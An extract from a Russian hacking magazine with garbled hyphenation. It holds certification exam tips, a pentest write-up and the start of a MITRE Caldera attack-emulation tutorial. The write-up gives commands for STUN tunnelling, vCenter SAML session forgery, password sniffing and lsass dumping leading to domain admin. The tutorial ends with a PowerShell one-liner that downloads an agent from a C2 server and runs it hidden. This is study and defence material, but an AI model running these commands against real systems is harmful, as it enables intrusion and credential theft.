по предос­ тавлен­

ному­

документу­ и не предполага­

ет­

мониторинг­

непосредс­

твен­

но­ в процес­ се­ сдачи­ . Никто­ не будет следить­

за тобой через веб камеру и контро­ лиро­

вать­

твои действия­

(приве­ т OSCP).

Однак­ о после­ завершения­

экзамена­

техподдер­

жка­

может попросить­

у тебя

предос­ тавить­

проек­ т Burp с экзамена­

. Если этого­ не сделать­

, попытку­ анну­

лируют­ .

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

На экзамене­

тебе дают два веб приложе­

ния­ , каждое­

из которых содержит­

по три уязвимос­

ти­ . Приложе­

ния­ генерируют­

ся­ случай­ но­ . Даже этапы­ прохож­ ­

дения каждог­ о из

 

 

приложе­

ний­

 

 

выбираются­

случай­ ным­

образом­ .

Для успешной сдачи­ тебе необходимо­

выполнить­

все шесть этапов­ за четыре

часа. На каждой­ из машин ты должен­

пройти­ этапы­ в следующем­

порядке­ :

 

 

1.Получить­ доступ­ к учетной­ записи непривиле­ ­гиро­ван­ного пользовате­ ­ля. Первичн­ о у тебя нет авторизо­ ­ван­ного доступа­ к веб приложе­ ­нию, и твоя задача — этот доступ­ получить (через XSS, Request Smuggling, Cache Poisoning, User Enumeration, Host Header Injection).

2.Провес­ ­ти эскалаци­ ю привиле­ ­гий и получить учетную­ запись, обладающую­ привиле­ ­гиями админис­ ­тра­тора веб приложе­ ­ния (через SQL Injection, CSRF, SSRF, Parameter Tampering, Business Logic Bypass).

3.Через­ панель админис­ ­три­рова­ния веб ресурса­ получить доступ­ к содер­ жимому локальног­ о файла­ /home/carlos/secret или же к файловому­ хранили­ ­щу, размещен­ ­ному по адресу­ localhost на порте­ 6566 (через

SSRF, Deserialization, Path Traversal, XXE (OOB), OS Command Injection).

Ксчастью, у PortSwigger есть пробный­ экзамен­ , который дает возможность­ заранее оценить­ , что тебя будет ждать на настоящем­ . Обязатель­ ­но выполни­ его (и лучше­ не один раз) до основной попытки­ . Задания из экзамена­ не ограничи­ ­вают­ся знаниями­ , полученными­ из теоретичес­ ­кого материала­

и лабораторок­ . Здесь спокой­ но­ может встретить­ ся­ уязвимость­ , замас­ кированная­ под другую­ , или уязвимость­ , в принципе­ не рассмот­ ренная­ в учебном­ курсе­ . Поэтому­ советую запастись­ терпени­ ем­ , креатив­ ным­ мыш­ лением­ и навыками­ быстро­ го­ и эффективного­ поиска­ в Google.

КРОЛИЧЬИ НОРЫ

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Сдавая­

сертифика­

цию­ , я несколь­

ко­ раз встречал­

«уязвимые­

»

 

фрагменты­

кода, которые в результате­

несколь­

ких­ часов анализа­

и безуспешных­

попыток

эксплу­ ата­ ции­

 

возможной­

уязвимос­

ти­

 

не

давали

 

никакого­

 

результата­ .

В финальном­

экзамене­

может быть несколь­

ко­ тупиковых­ уязвимос­

тей­ , поэто­

му всегда­ помни­ , что может понадобить­

ся­ искать альтер­ натив­

ный­

путь прод­

вижения. На третьем­ уровне­ с высокой долей вероятности­

уязвимость­

не будет являться­ тем, чем кажется­ на первый­

взгляд. Например­

,

если

на финальном­

уровне­ ты видишь пример­

XML-файла­ для загрузки­

, это вовсе­

не обязатель­

н­ о будет значить­ , что получится­ прочитать­

файл через эксплу­ ­

атаци­

ю XXE.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

МОИ ПОПЫТКИ

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Итак, мне понадобилось­

четыре попытки­ , чтобы­ успешно пройти­ экзамен­ .

За первые­ две попытки­ я преодо­ ле­ л три из шести­ уровней­ . В первом­

случае­ я

не смог прочитать­

 

 

локальный­

файл в первом­

приложе­

нии­

и повысить при­

вилегии­ во втором­ . Во второй­

попытке­ пример­ но­ через час от начала экза­

мена я смог полностью­

выполнить­

все этапы­ первого­

приложе­

ния­ . К сожале­

нию, в следующие­

 

три часа я так и не сумел похитить сессию­

пользовате­

ля­

во втором­

приложе­

нии­ . Я думаю, что угоди­ л в одну из тупиковых­ линий экс­

плуата­ ции­ , однак­ о выявить другие­ уязвимос­

ти­ в приложе­

нии­ за это время­ мне

не удалось­

. На третьей­ попытке­ я продвинул­

ся­ дальше­ : 5–6 уровней­ я прошел­

через

30

 

минут после­

начала

экзамена­

.

Впрочем­

,

 

за

следующие­

три

с половиной­

 

часа

 

у меня так и не вышло­

прочитать­

локальный­

файл.

И наконец, четвертая­

попытка­ увенчалась­

успехом­ . Спустя­ три часа от начала

экзамена­

я прочита­

л оба локальных­ файла­ .

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

СОВЕТЫ

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

1. Перед­

 

тем

как

 

 

пытаться­ сдать экзамен­ , обязатель­

но­

изучи­ материал­

и

порешай

лаборатор­ ные­

по

 

темам

Cross-Site

Scripting,

 

Web

Cache

Poisoning, XML External Entity, Server-Side Request Forgery, Server-Side Template Injections, HTTP Host Header attacks, Path traversal, Insecure Deserialization, File upload attacks. При этом Client-Side-уязвимос­ ­ти, скорее­ всего­ , потребу­ ­ют дополнитель­ ­ного обхода­ фильтров­ или обфускации­ наг­ рузки.

2.На экзамене­ встречают­ ­ся задачи, которые не приводят­ ­ся в теоретичес­ ­ком материале­ и лаборатор­ ­ных работах (например­ , XXE OOB). Не забывай пользовать­ ­ся подборка­ ­ми нагрузок­ .

3.В начале экзамена­ обязатель­ ­но напусти­ встроенный­ сканер­ Burp Suite на целевые приложе­ ­ния. Еще есть смысл запускать­ отдельные­ сканы­ на предполага­ ­емые параметры­ и пути приложе­ ­ния.

4.Будь готов к тому, что придет­ ­ся брать несколь­ ­ко попыток пересдачи­ . Нередк­ о бывало, что для достижения­ успеха­ требова­ ­лось больше­ семи попыток. Разбирай­ то, что не получилось­ решить, и пытайся­ снова­ .

5.Если­ потрати­ л больше­ часа на попытки­ получить начальный­ доступ­ , но так и не смог его добиться­ , переходи­ ко второму­ приложе­ ­нию. Я заметил, что

на одной из двух машин зачасту­ ю попадаются­ крайне­ тривиаль­ ные­ уяз­ вимости­ и способы­ их эксплу­ ата­ ции­ , в то время­ как вторая­ многок­ ратно­ сложнее­ и требуе­ т проявить­ фантазию­ .

6.Не забывай, что обязатель­ ­но пройти­ путь «Обычный­ пользователь­ — админис­ ­тра­тор — чтение­ локального­ файла­ ». Не стои­ т зря надеять­ ­ся и тратить­ время­ на попытки­ найти­ возможность­ чтения­ локального­ файла­ , не обладая­ учетной­ записью админис­ ­тра­тора. Не пытайся­ обмануть­ сис­ тему!

7.Когда­ решаешь­ лаборатор­ ­ные работы, обязатель­ ­но делай заметки­ . Они тебя выручат при поиске­ конкрет­ ­ной нагрузки­ на экзамене­ .

8.Если­ смог самостоятель­ ­но без подска­ ­зок прорешать­ все лаборатор­ ­ные уровней­ Apprentice и Practitioner, шансы­ на успех высоки. Однако­ тебе по прежнему­ придет­ ­ся проявлять­ творчес­ ­тво и черпать­ недостающую­ информаци­ ю в Google: разбирать­ ­ся в методах эксплу­ ­ата­ции и искать под­ ходящие нагрузки­ .

9.В процес­ ­се обучения­ вникай­ в то, как работаю­ т нагрузки­ для уязвимос­ ­тей. Если в задании требует­ ­ся вывести­ alert() на экран другог­ о пользовате­ ­

ля, попробуй­

создать­

иную, более сложную­

нагрузку­

(например­

,

для хищения его сессии­ ). На экзамене­

эти заметки­ будут крайне­ полезны­ .

 

10.Лицен­ ­зия Burp Professional не требует­ ­ся для сдачи­ экзамена­ . Он может быть выполнен­ и с помощью бесплат­ ­ной версии­ . Однако­ версия­ Pro будет значитель­ ­но удобнее­ благода­ ­ря инстру­ ­мен­ту Collaborator.

11.Обязатель­ ­но сохраняй­ рабочий проек­ т Burp с попытки­ сдачи­ экзамена­ . Техподдер­ ­жка может запросить­ его, когда­ ты экзамен­ сдашь. Однако­ и в случае­ неуспешной­ попытки­ он будет полезен для анализа­ и подготов­ ­ки к следующим­ попыткам­ .

12.Лайфхак­ : в конце­ почти­ каждого­ месяца дают еще одну бесплат­ ­ную попыт­ ку тем, кто в этом месяце оплати­ л экзамен­ , но не сдал его. Официаль­ ­ных объявле­ ­ний об этой акции они не публику­ ­ют, однако­ техподдер­ ­жка охотно­ делится­ такой информацией­ в ответ на запрос­ . А в конце­ каждого­ года (в «черну­ ю пятницу­ » или Рождес­ ­тво) компания­ устраивае­ т специаль­ ­ные скидки­ и акции на получение­ бесплат­ ­ных или удешев­ ­ленных попыток сда­ чи. Например­ , в 2021 году во время­ действия­ акции можно­ было при­ обрести попытку­ сдачи­ за 9 долларов­ вместо­ 99.

ВЫВОДЫ

Эта сертифика­ ция­ позволила­ мне значитель­ но­ повысить собствен­ ные­ навыки выявления­ и эксплу­ ата­ ции­ уязвимос­ тей­ OWASP TOP-10, разобрать­ ся­ с акту­ альными­ темами ресерчей­ в сфере­ веба и свежими­ методами­ эксплу­ ата­ ции­ . И раз ты дочитал эту статью до конца­ , в качестве­ награды­ дарю тебе мою собствен­ ну­ ю таблицу­ подготов­ ки­ к экзамену­ , содержащу­ ю все экспло­ иты­ от необходимых­ лаборатор­ ных­ работ. Пусть она облегчит твой путь в прохож­ ­ дении этой сертифика­ ции­ !

 

 

 

hang

e

 

 

 

 

 

 

C

 

 

E

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

wClick

 

BUY

o m

ВЗЛОМ

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

w

 

 

c

 

 

 

.c

 

 

.

 

 

 

 

 

 

 

p

 

 

 

 

 

g

 

 

 

 

df

-x

 

n

e

 

 

 

 

ha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

c

 

 

 

o

 

 

.

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x ha

 

 

 

 

ИСПОЛЬЗУЕМ ОСОБЕННОСТИ STUN ДЛЯ ПРОНИКНОВЕНИЯ ВО ВНУТРЕННЮЮ СЕТЬ

В этой статье я расска­ жу­ , как недостатки­ конфигура­ ции­ сервера­ STUN позволили­ проник­ нуть­ во внутреннюю­ сеть, обойти­ средства­ защиты и проэкс­ плу­ ати­ ровать­ Log4Shell, как удалось­ захватить­ виртуаль­ ­ ную инфраструктуру­ с помощью генерации­ сессии­ для SAML-аутентифика­ ции­ , прод­ винуться­ по сети и получить доменного­ админис­ тра­ тора­ с помощью классичес­ кой­ техники­ pass the hash.

Александр Герасимов

Этичный хакер, директор по информационной безопасности и сооснователь Awillix a.gerasimov@awillix.com

Все описан­ ное­ мы продела­ ли­ в рамках­ пентеста­ крупной­ ИТ компании­ . Нашей целью было оценить­ возможность­ проник­ новения­ во внутреннюю­ сеть из внешней­ и дать рекомендации­ , как устранить­ уязвимос­ ти­ .

РАЗВЕДКА

Первым­ делом, как обычно­ , сканиру­ ­ем открытые­ сервисы­ . Сама цепочка­ экс­ плуата­ ­ции началась с веб приложе­ ­ния IvaConnect — платформы­

для видео конференц­ связи­ .

Сервис­ позволя­ ­ет подклю­ ­чить­ся к мероприятию­ по цифровому­ идентифика­ ­ тору. Путем перебора­ ID мероприятия­ мы получили­ доступ­ к тестовой­ ком­ нате 3333. После­ этого­ приложе­ ­ние получае­ т учетные­ данные­ STUN (логин — ivcs, пароль — ivcs) и подклю­ ­чает­ся к серверу­ STUN.

Проток­ ол STUN позволя­ ­ет устанав­ ­ливать соединение­ между­ двумя­ узла­ ми, находящими­ ­ся за NAT, и активно использует­ ­ся при установ­ ­лении соеди­ нений в WebRTC. На этом этапе­ также­ можно­ получить внутреннюю­ адре­ сацию через прослушива­ ­ние STUN-трафика­ в Wireshark.

В нашем случае­ сервер­ не проверя­ ­ет, что адрес, по которому­ нужно­ подклю­ ­ читься­ , находится­ в локальной­ сети. Таким образом­ злоумыш­ ­ленник может получить доступ­ ко внутренним­ ресурсам­ , например­ используя­ утилиту­

Stunner.

Если­ ты обнаружи­ л неправиль­ ­но сконфигури­ ­рован­ный STUN-сервер­ , Stunner поможет постро­ ­ить SOCKS-прокси­ , который перенаправля­ ­ет весь трафик­ через проток­ ол TURN во внутренн­ юю сеть.

Для этог­ о нужн­ о просто­ выполнить­ команду­

./stunner socks -s [IP]:[PORT] -u [USER] -p [PASSWORD]

Таким­ образом­ удается­ получить доступ­ к внутренней­ сети 10.1.1.0/24.

ПЕРВОНАЧАЛЬНЫЙ ДОСТУП

Во время­ анализа­ внутренней­ сети мы обнаружи­ ли­ сервер­ PostgreSQL, использующий­ такие же учетные­ данные­ , как и сервер­ STUN. Внутри­ базы мы нашли­ таблицу­ videoconference.lpad, в которой была запись для подклю­ ­ чения к серверу­ LDAP.

Восполь­ зовав­ шись­ новыми знаниями­ , мы подклю­ чились­ к LDAP, где нас ждал еще один пароль (причем­ в открытом­ виде) в поле description.

Учетная­ запись из LDAP оказалась­ действи­ ­тель­ной, и мы получили­ админис­ ­ тратив­ ­ный доступ­ к серверу­ А. Кроме­ того, по адресу­ vcenter.company. local найден­ сервер­ vCenter, содержащий­ уязвимость­ Log4Shell. Она то и даст нам возможность­ выполнять­ код на сервере­ .

Для эксплу­ ­ата­ции необходимо­ , чтобы­ целевой сервер­ не имел доступа­

к интернету­ и подклю­ ­чал­ся к внешнему­ LDAP. Поэтому­ для эксплу­ ­ата­ции используем­ полученный­ ранее сервер­ А.

ЗАКРЕПЛЕНИЕ В СИСТЕМЕ

В файловой­ системе­ сервера­ vCenter можно­ найти­ файл data.mdb, он содер­ жит в себе сертифика­ ты­ , которые используют­ ся­ для подписи­ запросов­

при SAML-аутентифика­ ции­ любого пользовате­ ля­ , включая­ админис­ тра­ тора­ . Для генерации­ сессии­ через SAML-аутентифика­ цию­ можно­ восполь­ ­

зоваться­ утилитой­ vcenter_saml_login:

python3 vcenter_saml_login.py -p [PATH TO MDB] -t [HOST]

С полученной­ сессией­ нам удалось­ проник­ ­нуть на vCenter и захватить­ кон­ троль над виртуаль­ ­ной инфраструктурой­ .

Внутри­ vCenter мы нашли­ виртуаль­ ну­ ю машину express c пройден­ ной­ аутен­ тификацией­ и доступом­ в интернет.

Теперь­ можн­ о отказать­ ся­ от STUN-туннеля­ и восполь­ зовать­ ся­ напрямую­ этой виртуаль­ ной­ машиной для доступа­ ко внутренним­ ресурсам­ .

Далее­ мы нашли­ уязвимый­ к Log4Shell сервер­ VMware Horizon на внешнем­ периметре­ . На этом сервере­ тоже не было доступа­ в интернет, и для эксплу­ ­ атации­ было необходимо­ подклю­ чение­ к внешнему­ серверу­ LDAP. Выяс­ нилось, что в сети использует­ ся­ СЗИ, которое обнаружи­ вае­ т попытку­ эксплу­ ­ атации­ и обрывае­ т соединение­ до LDAP-сервера­ . Со временем­ стало­ понят­ но, что СЗИ детектиру­ е­ т лишь значение­ java.lang.Runtime.getRuntime, поэтому­ мы обфусцирова­ ли­ полезну­ ю нагрузку­ , а для эксплу­ ата­ ции­ исполь­ зовали сервер­ express.

На сервере­ VMware Horizon была возможность­ перехватывать­ пароли пользовате­ ­лей в открытом­ виде, прослушивая­ порт 8009 (Connection Server — AJP13):

tcpdump -X -s 0 'tcp port 8009 and (((ip[2:2] - ((ip[0]&0xf)<<2))

- ((tcp[12]&0xf0)>>2)) != 0)

ПРОДВИЖЕНИЕ ПО СЕТИ

С сервера­ horizon.company.ru мы произве­ ли­ опрос доменного­ контрол­ ­ лера и получили­ информаци­ ю о пользовате­ лях­ , компьюте­ рах­ , сессиях­ . Затем через procdump сделали­ дамп памяти процес­ са­ lsass, содержащего­ NTLMхеши учетной­ записи инженера­ поддер­ жки­ , назовем его USER1@internal.RU.

Дальше­ мы изучили­ права­ учетной­ записи USER1@internal.RU и обнаружи­ ли­ , что пользователь­ состои­ т в группе­ . Предположим­ , она называется­ SUPPORT ENGINEERS@internal.RU. У нее есть прав­ о ReadLAPSPassword, позволя­ ющее­ получить информаци­ ю о паролях локального­ админис­ тра­ тора­ на компьюте­ ­ рах пользовате­ лей­ .

ПОВЫШЕНИЕ ПРИВИЛЕГИЙ

Первом­ делом мы использовали­ технику­ pass the hash и запросили­ данные­

у контрол­ ­лера домена. Техника­ , если ты не в курсе­ , заключа­ ­ется в том, что можн­ о использовать­ NT-хеш вместо­ пароля, чтобы­ пройти­ аутентифика­ ­цию.

На компьюте­ ре­ NSurname.internal.RU обнаружи­ лась­ установ­ ленная­ сессия­ админис­ тра­ тора­ домена ADMINISTRATOR@internal.RU.

Исполь­ ­зуя полученные­ права­ локального­ админис­ ­тра­тора, мы сделали­ дамп памяти процес­ ­са lsass на компьюте­ ­ре zz, в результате­ чего удалось­ получить пароль админис­ ­тра­тора домена в открытом­ виде с помощью утилит­

procdump и mimikatz.

Затем­ мы аутентифици­ рова­ лись­ на доменном­ контрол­ лере­ DC01 с правами­ доменног­ о админис­ тра­ тора­ , пользователь­ pentester был добавлен­ в группу­ Domain Admins для подтвержде­ ния­ целей тестирова­ ния­ .

ВЫВОДЫ И РЕКОМЕНДАЦИИ

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Резюми­

руя­ , можн­ о сказать­ , что на внешней­

 

инфраструктуре­

отсутство­ вали­

уязвимос­

ти­ , а средства­ защиты блокиро­

вали­

все векторы­

атак. Но некоррек­ ­

тно сконфигури­

рован­

ный­

сервер­

STUN все таки позволил­

попасть во внут­

реннюю сеть.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Во внутренней­

сети защитные­

средства­ тоже блокиро­

вали­

вредонос­

ный­

трафик­ , но, обойдя­ СЗИ и проэкс­ плу­ ати­ ровав­

Log4Shell, мы получили­ доступ­

к гипервизору­

 

и

захватили­

виртуаль­

ну­ ю инфраструктуру­ , сделали­

дамп

памяти, получили­ доменну­ ю учетну­

ю

запись, повысили­

 

 

 

свои

 

привиле­

гии­

и стали­ админис­ тра­ тором­

домена.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Можн­ о сделать­

вывод, что

уровень­

злоумыш­

ленни­

ка­ ,

необходимый­

для захвата­

ИТ инфраструктуры­

, должен­

быть достаточ­

но­ высоким. Заказчик­

увиде­ л пробелы­

в своем­ процес­ се­ патч менеджмен­

та­ и промаш­

ки­ админис­ ­

траторов­

— они хранили­

пароли в открытом­ виде и использовали­

 

одинако­

вые­

пароли на разных­ сервисах­

.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Чтобы­ повысить защищенность­

и

не

допустить­

подобной­

атаки­ ,

 

мы

рекомендуем­

следующие­

шаги.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Необхо­ ­димо настро­ ­ить STUN-сервер­ таким образом­ , чтобы­ он отклонял­ запросы­ на подклю­ ­чение к зарезервирован­ ­ным диапазонам­ IP-адресов­ .

Регуляр­ ­но обновлять програм­ ­мное обеспечение­ .

Внедрить­ парольну­ ю политику­ и не допускать­ хранения­ паролей в откры­ том виде.

Внедрить­ защиту конечных­ устройств­ на серверы­ .

Иконечно­ , проводить­ регулярный­ анализ­ защищенности­ и/или тестирова­ ­ние

на проник­ новение­ .

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

 

E

 

 

 

 

X

 

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

wClick

 

BUY

o m

ВЗЛОМ

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

.c

 

 

.

 

 

c

 

 

 

 

 

 

p

df

 

 

 

 

e

 

 

-x

 

 

g

 

 

 

 

 

 

n

 

 

 

 

 

 

 

ha

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

 

w Click

 

 

 

 

 

 

m

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

c

 

 

 

.c

 

 

 

p

df

 

 

 

e

 

 

 

 

 

 

g

 

 

 

 

 

 

 

 

n

 

 

 

 

 

 

 

 

-x ha

 

 

 

 

 

Александр Мессерле

ИБтивист. Исследую в ИБ то, что движется. То, что не движется, кладу в песочницу. nayca@mail.ru

Борис Осепов

Специалист ИБ. Увлекаюсь средствами анализа вредоносного ПО. Люблю проверять маркетинговые заявления на практике :) mainboros777@gmail.com

УЧИМСЯ ИМИТИРОВАТЬ

ИОБНАРУЖИВАТЬ АТАКИ

СПОМОЩЬЮ MITRE CALDERA

Мы привык­ ли­ думать, что у нас всегда­ все хорошо в плане­ информацион­ ной­ безопасности­ . Чтобы­ удостоверить­ ся­ в этом, некоторые­ компании­ проводят­ пентест­ . Но существу­ ­ ет способ­ убедить­ ся­ в своей­ готовности­ к кибернападе­ ниям­ и без пентеста­ . Какой? Сейчас­ расска­ жем­ !

Речь пойде­ т об автомати­ зиро­ ван­ ной­ системе­ эмуляции­ действий­ злоумыш­ ­ ленников­ под названи­ ем­ Caldera. Мы расска­ жем­ об ее устройстве­ , настрой­ ке­ и о том, как эти нехорошие­ активности­ можно­ поймать­ с помощью бесплат­ ­ ных средств для винды­ — утилиты­ Sysmon и правиль­ ной­ настрой­ ки­ политик аудита­ в системе­ . Статья рассчи­ тана­ на новичков­ и содержи­ т много­ полезных­ практичес­ ких­ советов. Погнали­ !

 

Информа­

ция­

предос­ тавле­

на­

исключитель­

но­

 

в учебных­

целях. Пожалуйста­ , соблюдай­

законо­

 

дательство­

и не применяй­

изложен­ ную­

в статье

 

информацию­

в незаконных­ целях.

 

 

 

Caldera — это автомати­ зиро­ ван­ ная­ система­ эмуляции­ действий­ злоумыш­ ­ ленников­ на конечных­ рабочих станциях­ , созданная­ компани­ ей­ MITRE. Caldera позволя­ е­ т проводить­ практичес­ кие­ тесты­ информацион­ ной­ безопас­ ности с использовани­ ем­ различных­ сценари­ ев­ атак. Система­ с помощью фреймвор­ ка­ ATT&CK эмулиру­ е­ т поведение­ атакующе­ го­ , как будто­ происхо­ дит­ реальное­ вторжение­ . Caldera поставля­ ется­ с несколь­ кими­ заранее соз­ данными­ шаблонами­ поведения­ злоумыш­ ленни­ ков­ , а дополнитель­ ные­ пла­ гины к системе­ подклю­ ча­ ют новые функции­ и паттерны­ атак.

В системе­ Caldera два компонен­ ­та:

основная­ система­ . Это код фреймвор­ ­ка из репозитория­ . Он включает­ в себя асинхрон­ ­ный C&C-сервер­ (C2) с REST API и веб интерфейсом­ ;

плагины­ . Расширя­ ­ют основные возможнос­ ­ти фреймвор­ ­ка и предос­ ­тавля­ ют дополнитель­ ­ные функции­ . К примеру­ , пользователь­ может вести­ отчетность и привлекать­ различных­ агентов­ для установ­ ­ки на конечные­ точки­ .

Вот список­ всех актуаль­ ных­ на текущий момент плагинов­ , установ­ ленных­ по умолчани­ ю в контей­ нере­ :

Access — инстру­ ­мен­ты первоначаль­ ­ного доступа­ для Red Team (ата­ кующей команды­ );

Atomic — проек­ т Atomic Red Team, плагин­ позволя­ ­ет сопоставлять­ вре­ доносну­ ю активность с соответс­ ­тву­ющей тактикой­ и запускать­ мини активности­ ;

Builder — динамичес­ ­кая компиляция­ полезных­ нагрузок­ для агента­ ;

CalTack — встраивае­ т в Caldera веб сайт ATT&CK;

Compass — добавляе­ т визуали­ ­зацию ATT&CK;

Debrief — выполняе­ т анализ­ проводи­ ­мых компаний­ и аналити­ ­ку;

Emu — планы­ эмуляции­ действий­ различных­ групп злоумыш­ ­ленни­ков от CTID (Center for Threat-Informed Defense);

Fieldmanual — ведение документации­ ;

GameBoard — мониторинг­ совмес­ ­тных действий­ «красных­ » и «синих» команд;

Human — имитация­ действий­ пользовате­ ­лей на конечных­ точках­ , чтобы­ запутать атакующих­ ;

Manx — поддер­ ­жка полезных­ нагрузок­ Shell и Reverse Shell;

Mock — имитация­ агентов­ в операци­ ­ях;

Response — плагин­ для автоном­ ­ного реагирова­ ­ния на инциден­ ­ты (да, можн­ о настро­ ­ить автомати­ ­чес­кий «блютиминг­ » от Caldera на ее же собс­ твенный­ «редтиминг­ »);

Sandcat — агент по умолчанию­ , используемый­ в операци­ ­ях;

SSL — добавление­ поддер­ ­жки HTTPS для Caldera;

Stockpile — склад различных­ техник­ и готовых профилей­ злоумыш­ ­ленни­ка;

Training — сертифика­ ­ция и учебный­ курс, позволя­ ­ющий стать экспертом­

в сфере­ Caldera; состои­ т из заданий, которые надо выполнить­ в Caldera для получения­ статуса­ специалис­ ­та.

ПОДГОТОВКА СТЕНДА

Можн­ о установить­ Caldera в виде Docker-контей­ ­нера на машину с Windows. В таком случае­ не нужно­ будет возиться­ с интерпре­ ­тато­рами Python и дру­ гими связан­ ­ными компонен­ ­тами, да и контей­ ­нер проще­ в настрой­ ­ке для новичков­ . Контей­ ­нер устанав­ ­лива­ем с помощью приложе­ ­ния Docker Desktop, на хосте­ должно­ присутс­ ­тво­вать хотя бы два ненагружен­ ­ных ядра процес­ ­сора и два гигабайта­ операти­ ­вы.

Вот так выгляди­ т установ­ ­ленный и запущенный­ контей­ ­нер. Обрати­ вни­ мание на проброшен­ ­ные порты­ .

Запущен­ ный­ контей­ нер­ Caldera в Docker Desktop на ОС Windows

Нам нужн­ о перейти­ в логи контей­ ­нера, чтобы­ посмотреть­ логин и пароль для входа­ на веб интерфейс. Для этого­ щелкни­ на имени­ контей­ ­нера, затем перейди­ на вкладку­ Logs. Данные­ для входа­ выделены­ красным­ , они генери­ руются­ каждый­ раз заново при запуске­ контей­ ­нера. Учти, что при разворачи­ ­ вании проекта­ из сырцов­ имя пользовате­ ­ля по умолчанию­ — red, пароль — admin (или ищи их в конфигах­ — conf/local.yml, conf/default.yml).

Интерфейс может несколь­ ­ко отличать­ ­ся от представ­ ­ленно­го варианта­ .

Логи­ контей­ нера­ Caldera в Docker Desktop

Для входа­ в веб интерфейс на машине с Docker Desktop использует­ ­ся адрес http://127.0.0.1:18890 (такой порт слушает­ ­ся на локалхосте­ и проб­ расывается­ внутрь контей­ ­нера на порт 8888). Используй­ найден­ ­ные логин и пароль из логов контей­ ­нера.

Перед­ тем как начать нашу атакующу­ ю операцию­ , давай подробно­ рас­ смотрим­ матчасть­ .

НАЧАЛО РАБОТЫ С CALDERA

Практичес­ ­ки любая атака­ всегда­ выполняет­ ­ся с внешним­ управлением­ — то есть с примене­ ­нием командно­ ­го сервера­ (C&C). Чтобы­ «дергать­ за ниточки­ » цель, необходим­ о обеспечить­ связь с атакуемо­ ­го хоста­ , поэтому­ на него устанав­ ­лива­ется специаль­ ­ный агент.

В веб интерфейсе­ переходим­ на вкладку­ agents, затем в открывшемся­ виджете­ нажимаем­ на кнопку­ подготов­ ­ки агента­ .

Вкладка­ agents в веб интерфейсе­ Caldera

Кнопка­ установ­ ки­ агента­

Теперь­ следуе­ т определить­ тип агента­ (GoLang-агент — самый популярный­ ), указать­ платформу­ , на которой будем его разворачи­ вать­ , и остается­ лишь заполнить­ адрес нашего сервера­ управления­ (на котором у нас развернут­ контей­ нер­ ) с указани­ ем­ порта­ веб интерфейса­ .

 

 

 

Настрой­

ки­ агента­

 

 

 

 

 

 

После­ заполнения­

ты увидишь­

команду­ для установ­ ки­ агента­ на хосте­ ,

с параметрами­

, которые мы указали­

выше:

$server="http://192.168.0.242:18890"; $url="$server/file/download";

$wc=New-Object System.Net.WebClient; $wc.Headers.add("platform",

"windows"); $wc.Headers.add("file","sandcat.go"); $data=$wc.

DownloadData($url); $name=$wc.ResponseHeaders["Content-Disposition"].

Substring($wc.ResponseHeaders["Content-Disposition"].IndexOf(

"filename=")+9).Replace("`"",""); get-process | ? | stop-process -f;

rm -force "C:\Users\Public$name.exe" -ea ignore; [io.file]::

WriteAllBytes("C:\Users\Public$name.exe",$data) | Out-Null; Start-

Process -FilePath C:\Users\Public$name.exe -ArgumentList "-server

$server -group red" -WindowStyle hidden;

